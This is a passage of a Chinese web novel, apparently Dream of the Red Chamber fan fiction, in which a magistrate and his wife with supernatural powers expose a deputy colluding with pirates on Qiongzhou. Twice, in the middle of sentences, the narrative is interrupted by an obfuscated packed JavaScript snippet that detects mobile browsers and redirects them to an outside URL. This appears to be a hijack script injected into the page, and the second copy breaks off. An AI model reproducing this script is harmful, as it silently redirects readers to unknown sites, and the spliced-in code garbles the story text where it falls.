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王太太得意地看马太太一眼,笑道:“不瞒县尊太太,我也极爱这六安瓜片的。我家就是做茶叶生意的,说句不客气的,什么好茶没喝过,我还就爱这个味儿。” 小商户出身着实是马太太在嫉妒王太太,她是王典史嫡妻原配,家里是茶商,极有钱的,车马行只是她们家的一个产业而已,偏马太太总是揪住这个不放,忒得烦人。只是自来商贾地位不高,这才把女儿嫁给典史,好有个依靠的。 邬桐眼神眯了眯,端起茶抿了一口。马县丞和王典史也不是铁板一块,该利用的就得利用起来,邬桐放下茶杯,和王太太说起茶经来:“要说喝茶,我这妹妹才是一绝呢。在京城,冬日里只要下了雪,就拿着毛笔,收集梅花上积的雪水,说是煮茶是极好的。我就是个粗人,喝茶也只是牛饮罢了,哪里喝的出来区别。王太太家里既然是做茶叶生意的,不知你可喝的出水的差别?” 王太太待要说话,马太太插嘴道:“她比县尊太太还不如呢,上次我们一起品茶,明明是明前的龙井,偏她喝不出来,说是明后的,你说可笑不可笑?” 说着用手帕捂着嘴,咯咯咯笑起来。其他太太尴尬地赔笑两声,其中一位有些粗壮的妇人翻个白眼儿,倒是半点儿没给马太太面子。 王太太暗暗握紧拳头,恨不能锤这贱人两拳。要不是相公千叮咛万嘱咐,她早一巴掌糊这人脸上了。亏得还是王家族人呢,也忒没教养了。 邬桐暗暗将翻白眼儿的妇人记在心里,不再和马王两位太太说话,而是起身去到其他吏员太太们中间,招待大家吃茶水点心:“也不知道琼州这里的规矩,我和妹妹就按照京里的口味,置办了这些茶点,大家尝尝喜欢不喜欢?” 翻白眼儿的妇人拿起一块儿豌豆黄放进嘴里,咀嚼了两下赞叹道:“怪不得大家都想去京里呢,这点心跟咱们这里的就是不一样。县尊太太有心了。” 香菱适时地在邬桐耳边低语:“这是兵房邢司吏的太太。”刚才是她在门口迎的人,故而哪家是哪家,香菱心里是清楚的。 邬桐笑着开口:“邢太太要是喜欢就带些回去,不值什么的。家里的厨子就是京里带来的,要是想吃只管来就是。” “那怎么好意思。”邢太太憨厚地笑笑,不再多言。 极有分寸的人,既让人留意到她的存在,又不过分抢其他人的风头,虽然对马太太不耐烦,也只悄悄动作,明面上并没有大错,邢司吏应该也是可以合作之人。 “早就听闻宁荣二府的吃食天下无双,不知县尊太太这厨子,可是出自宁荣二府?”马太太拿起一颗糕点,试探着询问。 邬桐挑挑眉,这是试探家里和宁荣二府的关系呢。她装着不知,笑道:“哪里有这个面子呦,只不过吃过几次国公府的宴席,试着让厨子复制一二罢了。来,大家都尝尝,看看味儿可喜欢。” 马太太和王太太隐晦地对视一眼,很快又分开。众位太太夫人也都不再说话,一起喝茶吃点心。 邬桐笑笑,不再管这两人。因之前吩咐过香菱,要留意冼主簿的太太,香菱悄悄指与邬桐瞧。只见冼太太三十许年纪,看长相应该是汉人,一身藕荷色轻纱衣裙,头上一左一右两个金钗,打扮极为艳丽。此时低着头喝茶吃点心,并不与其他太太攀谈。 28.入赘真相一 邬桐并没有冒然与冼太太攀谈,只低头吩咐蕙香再上些茶点,回头时发现邢太太悄悄递了一块枣泥糕给冼太太,两人不知耳语了什么,皆低头含笑。 看来不用特意跟冼太太说话了,能跟邢太太交好,拉拢了邢司吏,冼主簿应该也不远了。等晚上将这一发现告知柳琼时,柳琼也说起了白日里,前院宴客的情形。 原来白日里,宾主落座后,柳琼照例询问了县里的治理情况,马县丞倒是如实回答,只是马县丞说一句,王典史、巡检、各班房司吏赞一声,什么马县丞劳苦功高,马县丞才能卓著,马县丞爱民如子都出来了,一副县尊大人你能做到马县丞这么好吗的神情,如果不能,乖乖做个菩萨县令,别插手,一边玩儿去吧。 柳琼暗暗观察了冼主簿的神色,见他一直不卑不亢,不逢迎不巴结,独善其身。 冼主簿身份特殊,就凭这个姓氏,马县丞等人就不敢轻易动作,至今还未将他攻破,柳琼暂时放下心来。 此时听邬桐如此说,柳琼沉思道:“不用急,咱们先摸摸这些人的底再说。造船不是短时间就能成的,咱们在琼州至少得呆六年,不急。” 现在朝廷每届官员任期三年,六品及以上才有资格到期后,去京城叙职。像柳琼这种七品县令,到期是升是降全凭主官考评,说实话,这种制度是有问题的,但如今他的任务是造船,就算考评是下等,他也降不了。 呆六年的话,就是连任两届琼州县令了。邬桐往床上一趟,小声嘀咕:“你说六年后,是不是就是贾家抄家的时候了?” “不会。”柳琼知道邬桐心软了,这人总嚷嚷着什么其他人的命跟她有什么相干,面上一副爱理不理的架势,却总是在竭尽所能地在救每一个人,对林如海父女如此,对探春惜春,哪怕是对王熙凤也是如此。 柳琼坐过去,用手指一下一下梳着邬桐的头发,安抚道:“贾元春不受宠不是坏事,起码没人哄骗着贾家做坏事了。贾敬又死了,那两府目前连个能上朝的人都没有,就算坏事也坏不到哪里去。其实国公府的牌子早该摘了,贾敬不是国公,贾赦贾政也不是国公,两个国公府已经没有一个国公在了。荣国府还好些,有个国公夫人在,挂国公府的牌子不算僭越。但宁国府的国公牌匾,只怕早晚皇上会让人换了的。” 真让柳琼说着了,在月末内务府盘点账务时,听到宁荣两府的禄米禄银如何如何时,永兴帝突然打断了内务府总管的话:“宁国府可还有国公在?” 内务府总管愣了一下,下意识说:“荣国府有国公夫人。” “朕恍惚记得分家了吧?”永兴帝不咸不淡地问了一句。那贾珍还算有些良心,知道了秦可卿的事后,发烧了几日,醒来就分家分宗的,只怕是想着将来治罪,贾家好歹能留个根儿,不至于断子绝孙。 内务府总管终于明白皇上想干什么了,这是瞧着老勋贵们奢靡太过,想敲打一二呢吧。 永兴帝冷哼一声,一个个过的比他还奢侈。他一顿也就四菜一汤,还必有一道纯素食,那些勋贵呢?一顿饭恨不能二十多道份例菜,排场得不行。 行,那是老祖宗定下的规矩,他也不说什么了。可二十多道菜你倒是吃啊,偏一个个的动都不动,什么样儿上来的,什么样儿赏下去,再吩咐小厨房送可口的饭菜上来。 那份例菜是给勋贵准备的,还是给下人预备的?!合着皇家的恩赏,是给你们养下人的! 惯得一个个无法无天的,这个宁国府的牌匾,说什么都得摘了! 就这么着,对账第二日,内务府的一个总管,带着一帮子孔武太监,到了宁国府门前,二话不说,搭梯子,摘牌匾,利索得很。 唬得看门的小厮一愣一愣的,这都多少年没人敢在太岁头上动土了,国公府也是你们敢撒野的地方! 没禀告主家,直接往后廊跑,那里住着贾家的家丁护院呢。振臂一呼,好家伙,呼啦啦一帮子家丁跑过来,要跟摘牌匾的太监们拼命。那忠心的架势,还以为能为国公府上刀山下油锅呢。 可结果呢?等总管亮出腰牌,阐明摘牌匾的缘由后,一个个缩地比谁都快。那骂街的焦大喝得醉醺醺的,一边儿看热闹,还一边儿拍手称快呢:“叫你们看不起爷爷我!就珍哥儿蓉小子那样儿的,国公爷见了也不认。不够折辱先人的。这牌匾就该摘,我看以后谁有脸去见列祖列宗!报应,报应啊,国公爷您在天上看看,这都是不善待功臣的报应。” 宁国府闹了个人仰马翻,就连西府的贾母都晕死过去一次,醒来看到床畔守着的宝玉,悲从中来,嚎哭出声:“国公爷,您睁眼瞧瞧吧,我还没死呢,国公府就少了一个。要是我死了,这家,就再不是国公府了。这街,也不是宁荣街了。” 是啊,此时荣国府众人才意识到,他们府里的牌匾没摘下来,完全是因为这位老祖宗还活着呢。这要是......众人你看看我,我看看你,自抄了赖家之后就把持后宅的王夫人不敢再放肆,再次把婆婆贡了起来。她家宝玉还没娶到高门贵女,婆婆且不能死呢。 死不死的是后话,只说宴会后,不光邬桐和柳琼在讨论赴宴的诸人,就是马县丞和王典史,也聚在一起议论呢。 “看着不像是个强硬的。”马县丞摸摸胡子,对王典史道,“弟妹是个有眼光的,她见县令夫人如何?” “他也得敢强硬呢。”王典史不屑,“要不是在京里得罪了人,他一个堂堂二甲进士,能来琼州任县令?马大哥你就是太谨慎了。我家那口子也说了,县令夫人看着就是个花架子,有些钱财,但就是个千金小姐,不管事的。况且连娘家妹子都带来了,定是在京里有事。” 邸报上有柳琼的履历,却没有邬桐的,是以大家都不知道,这个娘家妹子是林家人,而曾经的一品大员林如海,也在县令的队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271611|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍中,一块儿来了琼州,还有密折上奏之权。 马县丞想了想,还是道:“他毕竟姓贾,宁荣两府......” “哎呦,我的马县丞嗳。”王典史的三角眼一眨一眨,精光毕现,“什么宁荣两府,他不过是个出五服的普通族人罢了。马大哥你想想,整个宴席里,他可有提过一次国公府?没有吧,那是他知道,他不配!就是提了,国公府也不会给他撑腰的。” 马县丞点点头,不置可否。等回到家问起续弦的夫人,这位马太太一向张狂外露,切一声,轻蔑之色溢于言表:“什么国公府,那县尊太太提都不敢提。我看就是得罪了宁荣二府,才被调到琼州的。那县尊太太也就十五六的年纪,懂什么,就是被抡圆捏扁的份儿!” 这话音儿落地还没两天,邢太太和冼太太便悄悄携手,来找县尊太太邬桐。邢太太是早年来琼的汉人,虽有些黎化,大体上的习惯还是汉人的,例如她就是拿着鞋底子来的。黎人穿草鞋,并不需要纳鞋底子。 “县尊太太莫怪,我家孩子多,也不知道那脚是怎么长的,不到一个月就得换一双鞋,我不日日做,供应不上呐。就我家老爷那点子俸禄,也就能吃个饱饭,其他的都得自己干。这不,去哪里我都得带着它。”邢太太边赔笑,边刺啦刺啦纳着鞋底,声音爽朗,言笑晏晏。几句话,就将邢司吏廉洁奉公的形象送到了县令夫人的面前,绝对是一等一的精明人。 邬桐笑笑表示知道了,看一旁的冼太太。 冼太太是黎人,黎人女子也可当家,因此冼太太倒是没了宴会上的拘谨,直接开口道:“不知县尊太太可知道马县丞入赘的事?” 这个当然听过了,宴会前林如海就派了林管家,去街面上打探消息。马县丞一介乞儿,入赘王家之后,读书科举一路当上县丞的传奇故事,在琼州那是无人不知无人不晓的,稍微一问即知。 见邬桐了然地望过来,冼太太继续道:“一个入赘的人,能让王氏全族都说他的好话,能让全县都知道这是个好人,是不是有些过了?我知道县尊和太太想用我家相公,我家相公是黎人,姓冼,就凭这个姓氏,马王二人就不敢对我家相公如何。可是要不要投靠县令,也得先让我们看看县尊和太太的本事。我说了马家的事,内里如何要靠太太和县尊去查,一个月,如果一个月您二位能查明真相,我和相公任凭驱使,如何?” 邬桐挑挑眉,这个性子她喜欢啊,要是官场都这么办事,她觉得她也能当官了,不用柳琼那家伙事事冲在前面,真的。 见县尊太太眼睛亮晶晶地看着自己,冼太太一愣,之后爽朗一笑:“不满您说,我姓韦。渡琼先祖乃是西汉名相韦贤的后裔韦执谊,祖上有一支黎化了,我就出自黎化的韦家。” 既然人家都这么直接地亮底牌了,邬桐也不废话,直接道:“一言为定。一个月后,冼太太和邢太太上门来,咱们再谈。” 29.入赘真相二 说定了事情,两人来也匆匆,走得毫不拖泥带水,半点没有中原女子的羞怯扭捏。黛玉在一旁一直没说话,半晌等没有人影儿时才感慨:“有时与真性情的人交往,反倒更省心些。” “妹妹着相了。真性情还是假性情,都是别人让我们看的,真正如何怎么去分辨?我们与人相交,只管跟让我们舒服的人交往即可,管她是真的还是假的。”邬桐笑笑,起身道,“妹妹和香菱去玩吧,接下来我要忙了,就没时间陪妹妹了。妹妹最近不是在看黄道婆传记?那黄道婆的纺织机不知道是什么样子的,是否可以改进,不知书里有没有记载?这个可是关系到近二十万黎人的生计,就拜托妹妹了。” 得了任务,林黛玉脸色严肃,带着香菱去查书了。 邬桐换了套男装,又稍微画了个妆,这才独自出门。马县丞的事听着玄乎,其实无外乎就是赘婿吃绝户罢了。试问一个人又不是人民币,怎么会人人都说他好呢?马县丞又当又立,要好名声,可贪婪太过,经营的过头了。 此时正是最热的时候,大街上的黎人,不论男女,皆一身靛蓝印花短袖短裤,汉人也抛却了中原那一套繁琐的规矩礼仪,一切以凉爽舒适为要。 望海楼是城中最大最高的酒楼,正对码头大海的方向,因此得名望海楼。当初马县丞特意要在此设宴招待柳琼,那这里哪怕不是马县丞的地盘,跟马县丞关系也不一般。邬桐坐在一个角落,要了一壶清茶,听着周围人的议论。 “安南的船队快来了吧?都说新官上任三把火,这新的县太爷也不知是个什么章程。” “能有什么,还不是原来那一套。咱们琼州还是马县丞说了算,少担忧了。” 有人欢喜自有人皱眉,那眼神黯淡了一瞬的中年人喝完茶起身离开,邬桐小心地跟上去,只见此人七拐八拐,竟进入了一处小巷。看周围歪七扭八的柳木门和土墙,邬桐眼神一闪,这是不想露财才住在这里,还是另有隐情? 知道了地址邬桐就不跟了,跟人是柳琼的强项,等晚上让柳琼去看看就是了。这种时候还敢对马县丞表达不满的,要么是马县丞曾经得罪过的,要么就是得罪马县丞的,邬桐要找的,就是这两类人。在大街上逛了两圈,没遇到其他的,这才回去。 等晚上如此这般地跟柳琼说了,柳琼去了那人家里两次,从偷听来的信息看,此人乃是马县丞死去的嫡妻的近亲,也是王家人,只因质疑族妹死因蹊跷,就被马县丞和族人赶出宗族,这才沦落到此种境地。 邬桐和柳琼对视一眼,恐怕这个人手里有什么证据吧。不急,先去马县丞家里踩踩点。 是夜,月色并不明朗,黑暗中,柳琼穿着夜行衣,悄悄靠近马县丞家。马县丞家的宅子比县衙要大,有五进,柳琼暗暗找了很久,才在最不起眼的柴房找到了马县丞的岳父岳母。 怎么确定的呢?因为破烂的土屋外,竟然站了两个彪形大汉,这不是此地无银三百两嘛,不知马县丞是小心呢还是自大。 等第二晚,柳琼带着邬桐径直往土屋赶,邬桐发动异能让两人晕倒,这才进入了柴房。 土屋里,褐色的土墙皮脱落,两位老人形容枯槁,躺在污蹧的木床上双眼无神,一动也不动。要不是胸口还有起伏,真个跟死人一般。 邬桐不忍,发动异能让两人恢复些精神,柳琼看两人脸色不再青白,这才用极低的声音道:“在下琼州新任县令贾琼,不知二位可有马县丞谋害嫡妻的证据?或者其他马县丞违法犯罪的证据都可,我可助二位报仇。” 见两人眼珠动了动,但是并没有说话,柳琼再接再厉:“实不相瞒,在下新到任不足一月,县中事物都是马县丞把持。此人心思叵测,不是可相与之人,这才从私事入手,出此下策。这位乃拙荆,会些岐黄之术。” 邬桐冲二位点点头,走过去为两人把脉,装作很认真的样子,其实什么也把不出来。良久,邬桐从身上掏出一粒丸药,道:“两位身上的伤,时间久了,恐不好治。只能针灸佐以药丸,慢慢调理,七日可保二位手能够动弹,十日能够坐起来,要想下地,最快也得一个月。要是二位信得过,就吃了这粒药,我为二人医治。” 那老妇人眼泪刷刷刷往下流,抬手就要吃药,老爷子倒是谨慎,喘息着开口:“王家有家丁近二百人,你们如何进来的?” “老爷子是怕我们二人是马县丞派来试探的?”说着,柳琼从身上取出朝廷的任命文书,“这是吏部的任命文书,老爷子看清楚,这个可不好造假。至于我们如何进来的,只能说人外有人天外有天,不能如实相告了。” 王家老爷子抬眼认真看了文书上的印章,确认无误后落下泪来:“有......有一个账本,是马有才和倭寇勾结分赃的证据,当初我家妞妞就是在书房看到了这个东西,才被那混账毒杀的。我家妞妞有过目不忘之能,临死前将账本默给了我。为了谨慎,我将账本放到了王家密宅。你拿着那个账本就什么都清楚了。” 说着将密宅的地址告知了二人,谁也没有想到,琼州数一数二的王家,竟会将密宅安置在最贫穷的臭鱼巷,那里都是打渔受伤或致残的人家,没什么收入,臭鱼烂虾地做些酱料糊生。 “其他人你怎么处置都行,马有才得交给我们夫妻二人。”王家老爷子眼里冒火,恶狠狠地说,“我夫妻二人恨不得啖其肉挫其骨。马有才当初就是逃荒到琼州的乞儿,要不是我们夫妻二人收养,供其读书科举,他能有今日?为了招赘他入门,我家被族里压榨了多少家财,他这个狼心狗肺的东西,对妞妞可曾有过半丝的怜悯之心?畜生,我们二人已是将死之人,只求能带着马有才,到地底下给妞妞赔罪!” 二位老人去意已决,任如何劝说也无半丝动摇。二人无法,邬桐在给两人吃过药后,假模假样地针灸了一会儿,其实是利用异能为二人诊治。这两年穴位她认了一些,针灸属于半吊子水平,反正有异能打底,扎不死人就是。 等忙活了近一个时辰,二人这才悄悄地从马家离开。柳琼有空间护体,有人起疑藏进空间,任谁也找不到。邬桐则是有精神系异能,谁发现了就发动异能,如入无人之境。 当然,邬桐的精神控制不能同时在十个以上的人身上用,否则她的身体就先受不了。这也是为什么不能白日里做这些事的原因。 臭鱼巷交给柳琼,邬桐回去倒头就睡。每次使用精神系异能都会疲乏,必得休息才行。等天亮,柳琼的账本也整理清楚了。怪不得冼主簿将马县丞点出来,这还真是个一等一的混账! 作为朝廷命官,竟然勾结倭寇,劫掠琼州百姓!账本中竟然还有沉香和黄花梨贩卖,要知道这两样可都在生黎手中,马县丞和倭寇是怎么找到这两样资源的?恐怕这才是冼主簿让自己看的吧。 柳琼不动声色,将账本抄录了一份,晚上秘密送到了冼主簿和邢司吏的家里,二人接到账本,当晚就到了县衙后宅,跟柳琼在书房里,秘密协商了一夜,直到晨光初露,才偷摸着从后门离开。 还有点子时间,柳琼眯了一会儿,才打着呵欠,一摇三晃地走去卧室,跟刚起来的邬桐商议,今日去雷州半岛探亲的事。 “探亲?”邬桐以为听错了,又问了一遍。雷州半岛有亲吗?她想了想,再想了想,终于不确定地说:“去雷州守丧的陈家,惜春的婆家?” “对。”柳琼见屋里没人,小声将打算说了,“现在咱们手里有账本,邢司吏和冼主簿那里都答应了会一起动手。但秘密联络府兵,安置人员需要时间。 正好,雷州据此地一日即可来回,惜春又是贾家人,服丧不好上门,此时我们特意过去探亲,在马王二人看来,就是咱们刻意去结交贾家,不就正好说明咱们在京里没势力吗? 马县丞和王典史会更放松警惕,邢冼二人动作才会更从容些。” 邬桐点点头,马王二人主要忌惮的是柳琼插手县务,对一直没什么动作的邢冼二人,设防是有,但不会大:“行,现在就动身?” “对,你收拾下,越快越好。”柳琼说完,去后面的净室洗了把脸。部署了一夜,各种应急方案说了不下十几种,遭遇顽强抵抗如何,马王二人逃了如何,是否会挟持百姓,会从哪里逃等等都分析了一遍,他确实是累了。 刚擦干净手脸,出去一看,邬桐已经换了一身衣服,干净利落,正好方便出门。 二人没多说话,昨晚商议时林如海和甄士隐都在,不用再去告别。二人带着蕙香、全贵和几个贴身的小厮,在后门遇到红着眼眶的黛玉,邬桐想开口安慰两句,恰好后门收夜香的上门,又闭上了,只拍拍黛玉的肩膀,相携着离开。 再一次坐上宝船,没了第一次的兴奋,邬桐闲下来,思考惜春的事。上次去广州,正好遇上惜春夫家祖父去世,全家去雷州老家服丧,没见上面。不知半年过去了,惜春过的如何。这是个冷情的人,却也是最清醒的,知道带着贾家的奴仆过去对她不利,她干脆谁也不带。可这何尝不是对贾家奴仆的仁慈?父母分离、兄弟姐妹分离就好吗?既然无法全部带走,还不如一个都不带,免得一人侍二主,彼此为难。 可这样的人,你若真心待她,她又岂是不知恩的?只愿陈家真的如当初柳琼打探的那般,是个厚道人家。 看着一旁一直红着眼眶的黛玉,邬桐只得开口:“惜春是个聪明人,会过得好的。你想想探春,国公府再如何,对女孩子的教育是上心的。只她们跟宫里嬷嬷们学的,拿出一二分来,哪怕商人后宅里的女人再如何奸滑,也应付得过来。” 黛玉哪里不知道这个,只是没见到,到底是不放心。等在陈家见到一脸笑容的惜春,这才彻底安心。 惜春虽一身素服,脸上却无苦相,对身居上位的婆婆,眼神中带着一丝孺慕,可想这婆婆是个厚道人,起码不会苛责惜春,能平常心对待,这就够了。惜春从小没受到过格外的关爱,这份平常心对待,就能抚平心底的那一丝不甘与郁气。 等参加完宴会,单独相处时,惜春才说了真心话:“以前在西府,爹爹不管,哥哥嫂嫂也是问都不问,不管老祖宗再如何照顾,下人还是看不起的。 林姐姐是知道的,府里的那些下人,最是会嚼舌根,就是天王老子也敢编排。我何苦去麻烦他们,纵是受些刁难也都忍了。 如今到了陈家,才知道真的亲人是怎么相处的。” 说着,惜春擦擦眼泪,继续道:“热了,婆婆会让人送冰饮,但也总是拘着不让多吃,我知道这是怕我吃坏了身子。要是没有这份约束,我还不觉得如何,就是这份约束,才是真真正正地将我放在心里了。” 说得林黛玉眼泪都下来了。当年她只以为,她在贾家是寄人篱下,可没想到,惜春作为东府的大小姐,在西府同样遭人白眼。 这动不动就哭的性子,邬桐掰了能有两三年,也没掰过来,不过好在对身子的影响已经很小了。她也没管,只指着几样颜料道:“知道惜春妹妹爱画,这是特意在京里凑齐了带来的,妹妹只管拿去用。” 惜春也不客气,收了之后又回赠了很多礼品。陈家是做绸缎生意的,很多布料比内贡的还好:“这些缂丝产量低,不敢往上供,怕万一哪次供应不上吃挂落。每年也就出产不到二百匹,府里除了自用的,也就每年送些亲近的人家。今日既然你们来了,多带些回去用,也是我的心意。” 邬桐心里有底了,这是有底气,才敢不报备婆婆,就将珍贵的缂丝送给娘家人。黛玉也知道这个道理,笑容更真诚了些:“好,以前只听过江南缂丝,还从未听过粤海这边也有。” 几人说着客套话,柳琼在前面和陈家的男人闲聊。琼州岛的黎人善织布,黎锦自汉代起就天下闻名,以后要发展琼州,少不得陈家人的支持。因此柳琼倒是格外客气,对着陈家的当家人和贾家的女婿都一脸真诚。 探亲只是幌子,三人今日就得回的。联络需要时间,但也不能太耗时,否则泄露了消息就不好了,明日必是要行动的,柳琼这个主任官必须在场。 来的匆忙,带的东西本不多,不料陈家大方,倒是给了许多回礼,让邬桐和黛玉很有些不好意思,不过也更放心了。 不仅她们二人放心,听到县尊大人不忙着熟悉公务,竟然急着去雷州探亲,马王二人才算是彻底放心了。 王典史不无得意地说:“马大哥,我说的没错吧?这贾琼肯定是得罪了宁荣二府了。不然怎么巴巴去给个小辈探亲?这是病急乱投医,找人去说和呢。也不想想,那就是个家族里的弃子,自救尚且不暇,还能顾得了他?” 马县丞心里得意,面上还是要说两句场面话的:“不可乱说,县尊大人怎么说也是京里过来的,以后恭敬着些,知道吗?” 王典史心里骂一句伪君子,面上恭敬地应了。 另一边的衙门里,邢司吏主管兵房,琼州作为大县,驻扎有兵马五百人,据他估计,有三百人可用。这就很可以了,加上县尊带来的近五十家丁护卫,擒获马县丞和王典史绰绰有余。 这一整日,邢司吏都以去查看兵房的借口,没来衙门。五百人的兵房当然不在县衙,而是在郊外驻扎,邢司吏时不时就要去查看的,因此倒没人在意。于是在马王两人眼皮子底下,三百五十人的队伍,就这么凑齐了。 第二日马县丞和王典史来县衙办公时就被拿下了,邢司吏在围剿王家时遇到了家丁反抗,起了刀兵冲突,也仅用了不到半个时辰就平定了。 王家豪富,马县丞私藏的金库也可观,初步估计金子就一万多两,银子二十万两,可想打劫是多么暴富的行当。 马县丞被交到王老爷子夫妻二人手上,关上门后,土屋里发出渗人的惨叫声,那声音尖利得十几米外都能听见,能起一身鸡皮疙瘩。 等彻底没了动静,推开门,只见两位老人身上、嘴上都是鲜血碎肉,却是笑着离开的。马县丞脸上脖子上没一块好肉,双眼充血,死不瞑目。 那位望海楼的故人为两位老人收了尸,葬在王家祖坟里。转身就到县衙,跪在县衙大堂:“我是妞妞的堂弟。本来家里是想让三叔过继子嗣的,三叔也喜欢我,养了我两年,谁知道被马有才哄骗,竟想出了招赘的主意。 当初家里也是怨过三叔的,只说赘婿狼子野心,家里的财产最终归了谁都不知道。谁知三叔铁了心,竟是舍了大半家财也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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香菱之母封氏听了茶楼的议论,那个愁啊。她家香菱少时被拐,母女分离近十年,好不容易找着了,现在女儿年纪又大了,本来她也想给闺女招婿的,想留闺女在身边嘛。可如果赘婿跟马县丞似的,他两口子倒是不怕死,就怕闺女被害啊。 等晚上甄士隐从前院办公衙门回家,封氏就唠叨上了:“老头子,咱闺女的婚事可怎么整?原来想着招赘,可现成的例子摆在那里,这事还能成吗?不成的话,从哪里给闺女找婆家?” 甄士隐是举人,这两日真挺忙的,马县丞和王典史把持琼州县衙那么些年,很有些账目不清楚,这几日都忙着对账查他们的老底子呢,闻言倒是一愣。看着老妻花白的头发,到底不忍心,开口道:“香菱是怎么想的?” 封氏叹口气,起身接过甄士隐的外衣挂架子上:“能怎么想?女儿被薛大傻子那个混账打怕了,说什么也不肯嫁。可不嫁怎么办,咱们这么大岁数了,能陪丫头几年?没个知冷知热的人,我就是走了也合不上眼啊。”说着擦擦眼泪,转身坐在凳子上继续发愁。 甄士隐缓缓坐过去,半晌安慰道:“女儿要是一直不肯嫁,大不了咱们去育婴堂,给女儿收养几个孩子,从小养着,怎么都能养出感情了。多收养几个,总有一两个孝顺的吧?这样女儿将来也有人照顾,我们就算走了也能安心。” 香菱见父亲回来晚了,本来想过来送一份夜宵的,听到父母的对话,眼泪汪汪的,抬起一只袖子擦擦,推开门朗声道:“爹,娘,你们别愁了。我听黛玉说了,等忙完这一阵,桐姐姐就会重组育婴堂的,我就去育婴堂任职,那里的孩子都归我管。我好好对他们,咱们有能力就多养些孩子,将来总会有人孝敬我的。我不嫁,就守着爹娘过日子,爹娘在哪儿,我就在哪儿。” 小时候在家受宠的日子不记得,但在人贩子手底下讨生活的记忆却跟昨日一般。一道道凌厉的鞭子打在身上,馊饭臭汤,还有那一声声辱骂,她如何忘得了。这三年是她长这么大以来过得最舒心的日子,有了父母,终于知道被捧在手心里是什么感觉了,又怎么会想不通嫁出去伺候公婆。 父母年纪都这么大了,为了找她,家里的地和产业都变卖了,从姑苏到漠北再到琼州,万里之遥都过来了,还在乎别人的冷言冷语吗?只要跟父母在一起,就是死,她都是甘愿的。 甄士隐看着女儿倔强的眼神,突然老泪纵横:“都是爹糊涂啊,当年怎么就让人抱着你去看花灯呢。”一家人又抱着哭了一回,夫妻俩这才像是放下了逼女儿嫁人的心思,看着女儿一心一意跟着县令夫人忙活。 可私底下,封氏悄悄跟甄士隐商量:“不求招赘,只一个条件,想娶咱们香菱,必须赡养咱们两个。香菱这个性子,去别人家我是不放心的,必得咱们看着才行。如果这个条件都能接受,那小伙子也出不了大差子,值得一试。反正香菱也还不到十五,咱们不急,慢慢寻摸,总能找到的。” 原来两人并没有放弃让香菱嫁人的想法,只是从入赘变成了在他们眼皮子底下过活。 这边如何暂且不说,只说收拾了两个地头蛇,柳琼只觉身心舒畅,这种一句话下去,底下人不折不扣执行的感觉,还真是不赖。 处理了残留的事物,柳琼这才想起账本上的沉香和黄花梨,招手让人请冼主簿前来。主簿衙门里,冼主簿头顶着斗笠,见到来人忙低下头,支支吾吾不肯前去应约。 那小厮也是衙门里的老人了,哪里不知道发生了什么,调侃道:“哎呦,主簿大人,您别婆婆妈妈的了,不就是黎人女子泼辣嘛,衙门里哪个爷们不知道,快走吧,县尊大人有急事呢。” 冼主簿老脸一红,刷一下将斗笠摘下,只见左脸上一道鲜红的血印子,那小厮见了,噗嗤笑出声,引来冼主簿恶狠狠的瞪视,小厮立马收起笑,低眉敛目,侍立在旁,只是肩膀仍一抖一抖的。 冼主簿哼一声,招手叫贴身小厮:“回家告诉夫人,就说沉香的事有眉目了,请夫人速速前来。” 说完也不等人,就大踏步朝县衙走去,见到柳琼不客气,拱手道:“还请大人稍等,这件事是在下夫人家里发现的,我已经让小厮去请夫人了。” 柳琼见到这张脸还愣了一下,反应过来后轻咳一声,笑着说:“好。来人,请夫人来,就说冼太太要来,我一个大男人恐照顾不周,请夫人过来帮着转圜一二。” 见冼主簿看过来,柳琼笑着解释:“我知道黎人峒族里,有很多都是女人当家。我家夫人颇为赞赏,冼大人放心,既然来了琼州,自当入风随俗,女人也可当家嘛。” 冼主簿意味深长地看了柳琼一眼:“县尊大人果然非同凡响,不似以往那些中原来的县令,什么女人就该大门不出二门不迈,纯属是放屁!在琼州,要不是女人织出黎锦,我们熟黎拿什么换钱?在琼州,女人都可当家的。” 柳琼极力赞同:“就是,就说冼家祖先冼夫人,那就是多少男人都比不得的英雄。还有黄道婆,在琼州二十载,学会了琼州的织布手艺,回到松江府,养活了多少松江人?远的不说,就说前朝的秦良玉秦将军,那也是多少男人都不能近身的猛人帅才。” “这话很是。”爽朗的女声传来,冼太太一身云纹黎锦,短衣阔裤,极爽朗的扮相,后面跟着的邬桐也是相似的装扮,彼此对望一眼,心照不宣地哈哈大笑。 30.生黎熟黎 等在内室的圆桌前坐下,见到冼主簿带着血痕的脸,邬桐挑挑眉,没想到这个时代,还能见到如此猛人啊。 冼太太脸也有些红,旋即想到老头子竟然嫌弃她多事,又哼一声,干脆直接坐在县尊夫人身边,拉着仙尊夫人的手:“我们韦家是汉化的黎人,汉话、黎人的话都会说,因此就做些中间牵线搭桥,传递消息的牙人买卖,赚取些银子过活。 前几年还算安生,可是五年前,我家哥哥突然发现,来找他的生黎族长越来越少,竟有几只生黎跟消失了一般,五年都没找过他。 这就不正常了,生黎生活在深山老林里,除了跟汉人买卖沉香和黄花梨外,也没有什么赚钱的门道,五年都不交易,肯定是出事了。可我家老爷说,港口出去的沉香和黄花梨只多不少,这就奇怪了,难道是有人在林子里偷盗? 老爷不跟我说实话,我也能猜到,肯定是跟马县丞有关。这才和太太说了马县丞的事。” 柳琼点点头,问冼主簿:“您是怀疑,倭寇入了老林子,挟持了生黎部落,逼迫他们为倭寇采香和黄花梨?” 冼主簿点点头:“只有如此才说得通。马县丞此人很有些才干,但却是个粗疏的人,做事不密,其实衙门里很多人都知道他和倭寇怕是有勾结,只是大家没证据,奈何不得。马县丞只是八品,如何有近百万家财? 